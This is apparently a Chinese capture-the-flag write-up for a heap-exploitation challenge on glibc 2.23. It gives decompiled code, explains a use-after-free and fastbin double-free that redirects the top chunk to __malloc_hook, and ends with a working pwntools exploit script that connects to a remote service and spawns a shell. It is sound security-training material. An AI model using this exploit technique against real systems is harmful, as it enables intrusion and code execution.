逆向分析
程序使用了alloca函数扩大了栈区
此处可以泄露libc的地址
程序主要功能在下面
while ( 1 )
{
while ( 1 )
{
fflush(stdin);
fflush(_bss_start);
fprintf(_bss_start, "\n%sDragons: [%d/%d]%s\n\n", "\x1B[1;34m", v5, 13LL, "\x1B[1;37m");
fwrite(&unk_20C8, 1uLL, 0xEFuLL, _bss_start);
fflush(stdin);
fflush(_bss_start);
num = read_num();
if ( num == 1 )
break;
if ( num != 2 )
{
fwrite("\nFarewell..", 1uLL, 0xBuLL, _bss_start);
exit(1312);
}
fwrite("\nDragon of choice: ", 1uLL, 0x13uLL, _bss_start);
fflush(stdin);
fflush(_bss_start);
size = read_num();
if ( size >= v5 )
{
fprintf(_bss_start, "\n%s[-] Unavailable dragon!%s\n", "\x1B[1;31m", "\x1B[1;34m");
}
else
{
free(s[size]);//存在UAF
fprintf(_bss_start, "\n%s[+] The dragon flies away!\n%s", "\x1B[1;32m", "\x1B[1;34m");
}
}
if ( v5 > 0xC )
{
fprintf(_bss_start, "\n%s[-] No more summons!\n\n%s", "\x1B[1;31m", "\x1B[1;34m");
exit(22);
}
fwrite("\nDragon's length: ", 1uLL, 0x12uLL, _bss_start);
fflush(stdin);
fflush(_bss_start);
size = read_num();
fflush(stdin);
fflush(_bss_start);
if ( (size > 0x58 || size <= 1) && (size <= 0x68 || size > 0x78) )//关于size为什么要这样设定在下面解释
{
fprintf(_bss_start, "\n%s[-] Invalid dragon length!%s\n", "\x1B[1;31m", "\x1B[1;34m");
}
else
{
v10 = (char *)malloc(size);
s[v5] = v10;
if ( s[v5] )
{
fflush(stdin);
fflush(_bss_start);
fwrite("\nName your dragon: ", 1uLL, 0x13uLL, _bss_start);
fflush(stdin);
fflush(_bss_start);
fgets(s[v5], size, stdin);
fflush(stdin);
fflush(_bss_start);
++v5;
}
else
{
fprintf(_bss_start, "\n%s[-] Something went wrong!%s\n\n", "\x1B[1;31m", "\x1B[1;34m");
}
}
漏洞分析
执行strings libc.so.6 | grep ubuntu
GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0(库版本2.23)
在2.23我们熟悉的是利用fastbin UAF 写入malloc_hook上面的fake_fastbin地址然后申请(0x58,0x68]大小的块往malloc_hook写one_shot拿到权限。
但是吧,本题在size上面设置了限制使得我们不能直接一步到位。
那怎么办呢?
其实归根到底中心思想是伪造fastbin块没有变,转换一下思路如果我们可以修改topchunk的地址为malloc_hook附近且保证其大小合法(在malloc_hook - 36就合适)。
因为topchunk地址存在main_arena+96的地方所以我们要利用UAF将一个合法的大小放到main_arena上面
summon(0x28,b'a')
summon(0x28,b'a')
free(5)
free(6)
free(5)
summon(0x28,p64(0x61))
summon(0x28,p64(0x61))
summon(0x28,p64(0x61))
如图通过不断覆写0x61达到目的。
summon(0x58,b'\x00' * 64 + p64(malloc_hook - 36))
接下来把伪造好的块拿出来(main_arena + 0x10)将topchunk改掉。
之后就可以快乐的把malloc_hook申请出来改写了。
解题脚本
from pwn import *
def gd():
gdb.attach(p)
pause()
def summon(size,data):
p.recvuntil(b'>> ')
p.sendline(b'1')
p.recvuntil(b': ')
p.sendline(str(size).encode())
p.recvuntil(b': ')
p.sendline(data)
def free(idx):
p.recvuntil(b'>> ')
p.sendline(b'2')
p.recvuntil(b': ')
p.sendline(str(idx).encode())
#p = process("./da")
p = remote('94.237.53.58',56788)
libc = ELF("./glibc/libc.so.6")
p.recvuntil(b': ')
p.send(b'r3dDr4g3nst1str0f1' + b'a' * 38)
p.recvuntil(b'a' * 38)
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x6eab9
print(hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook'] -36
main_arena = libc_base + libc.sym['main_arena']
one_shot = libc_base + 0xe1fa1
summon(0x58,b'a')
summon(0x58,b'a')
free(0)
free(1)
free(0)
summon(0x58,p64(main_arena + 0x10))
summon(0x58,p64(main_arena + 0x10))
summon(0x58,p64(main_arena + 0x10))
summon(0x28,b'a')
summon(0x28,b'a')
free(5)
free(6)
free(5)
summon(0x28,p64(0x61))
summon(0x28,p64(0x61))
summon(0x28,p64(0x61))
summon(0x58,b'\x00' * 64 + p64(malloc_hook))
summon(0x48,b'a' * 20 + p64(one_shot))
p.interactive()
成功getshell